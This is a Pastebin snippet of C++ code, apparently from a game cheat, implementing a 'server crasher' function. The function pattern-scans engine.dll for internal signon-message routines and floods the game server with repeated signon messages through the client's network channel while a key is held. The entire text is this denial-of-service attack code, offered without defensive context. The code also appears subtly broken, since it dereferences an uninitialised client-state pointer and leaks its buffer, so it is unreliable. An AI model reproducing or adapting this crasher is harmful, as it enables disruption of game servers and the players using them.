Advertisement
Guest User

Untitled

a guest
Apr 19th, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.48 KB | None | 0 0
  1. void CMisc::Servercrash()
  2. {/*
  3. static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(CSX::Memory::FindPatternV2("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
  4. static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(CSX::Memory::FindPatternV2("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));*/
  5. static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(CSX::Memory::FindPatternV2("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
  6. static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(CSX::Memory::FindPatternV2("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));
  7.  
  8. void* pSignonMsg = malloc(76);
  9. static int nTotalSentSignon = 0;
  10. static int totalAmount = 300;
  11. static int amountPerTick = 60;
  12. typedef INetChannel*(__thiscall* OriginalFn)(void*, bool, bool);
  13. CClientState *g_ClientState;
  14.  
  15. if (Settings::Misc::misc_ServerCrasher)
  16. {
  17. if (GetAsyncKeyState(VK_KEYBOARDV))
  18. {
  19. if (nTotalSentSignon < totalAmount)
  20. {
  21. NewSignonMsg(pSignonMsg, 6, g_ClientState->m_nServerCount);
  22.  
  23. for (int i = 0; i < amountPerTick; i++)
  24. {
  25. GetMethod< OriginalFn >(g_ClientState->m_NetChannel, 42)(pSignonMsg, false, false);
  26. }
  27. ClearSignonMsg(pSignonMsg);
  28. nTotalSentSignon += amountPerTick;
  29. }
  30. }
  31. }
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement